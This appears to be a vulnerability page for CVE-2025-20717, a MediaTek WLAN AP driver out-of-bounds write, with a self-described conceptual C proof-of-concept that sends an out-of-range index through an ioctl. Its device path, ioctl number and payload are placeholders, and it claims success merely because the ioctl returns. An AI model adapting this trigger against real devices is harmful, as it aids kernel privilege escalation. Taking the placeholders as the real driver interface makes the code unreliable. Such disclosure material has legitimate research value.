MediaTek WLAN AP驱动越界写入本地权限提升漏洞(CVE-2025-20717)

/* CVE-2025-20717 - MediaTek WLAN AP Driver OOB Write PoC (Conceptual) * This is a conceptual proof-of-concept demonstrating the vulnerability pattern. * The actual exploit requires kernel-level access and specific driver internals. * * Vulnerability: Out of bounds write due to incorrect bounds check * in WLAN AP driver (Patch ID: WCNCR00419946, Issue ID: MSV-3582) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <errno.h> #define WLAN_AP_DRIVER_IOCTL 0x1234 #define MAX_BUFFER_SIZE 256 /* Structure mimicking the vulnerable driver's IOCTL interface */ struct wlan_ap_request { unsigned int index; /* Array index - not properly bounds-checked */ unsigned int data_len; /* Length of data to write */ char data[]; /* Flexible array member for payload */ }; /* Conceptual trigger for OOB write vulnerability */ int trigger_oob_write(int fd, unsigned int malicious_index, const char *payload, size_t len) { struct wlan_ap_request *req; size_t req_size = sizeof(struct wlan_ap_request) + len; req = malloc(req_size); if (!req) { perror("malloc failed"); return -1; } /* Set the out-of-bounds index - this is the key vulnerability trigger */ req->index = malicious_index; /* No bounds check in vulnerable driver */ req->data_len = len; memcpy(req->data, payload, len); /* Send the malicious request to the WLAN AP driver */ if (ioctl(fd, WLAN_AP_DRIVER_IOCTL, req) < 0) { fprintf(stderr, "ioctl failed: %s\n", strerror(errno)); free(req); return -1; } free(req); return 0; } int main(int argc, char *argv[]) { int fd; printf("[+] CVE-2025-20717 PoC - MediaTek WLAN AP Driver OOB Write\n"); printf("[+] WARNING: For educational/research purposes only\n\n"); /* Open the WLAN AP driver device */ fd = open("/dev/wlan_ap", O_RDWR); if (fd < 0) { perror("[-] Failed to open WLAN AP driver device"); printf("[*] This PoC requires access to the vulnerable driver on a target device\n"); return 1; } /* * Craft payload with an out-of-bounds index. * The malicious index causes the driver to write beyond the * allocated buffer, potentially overwriting adjacent kernel structures. */ char payload[] = "AAAA"; /* Placeholder for exploit payload */ /* Use an index beyond the valid range to trigger OOB write */ unsigned int oob_index = 0xFFFF; /* Out-of-bounds index */ printf("[*] Triggering OOB write with index: 0x%x\n", oob_index); if (trigger_oob_write(fd, oob_index, payload, sizeof(payload)) == 0) { printf("[+] Exploit triggered successfully\n"); } else { printf("[-] Exploit failed\n"); } close(fd); return 0; }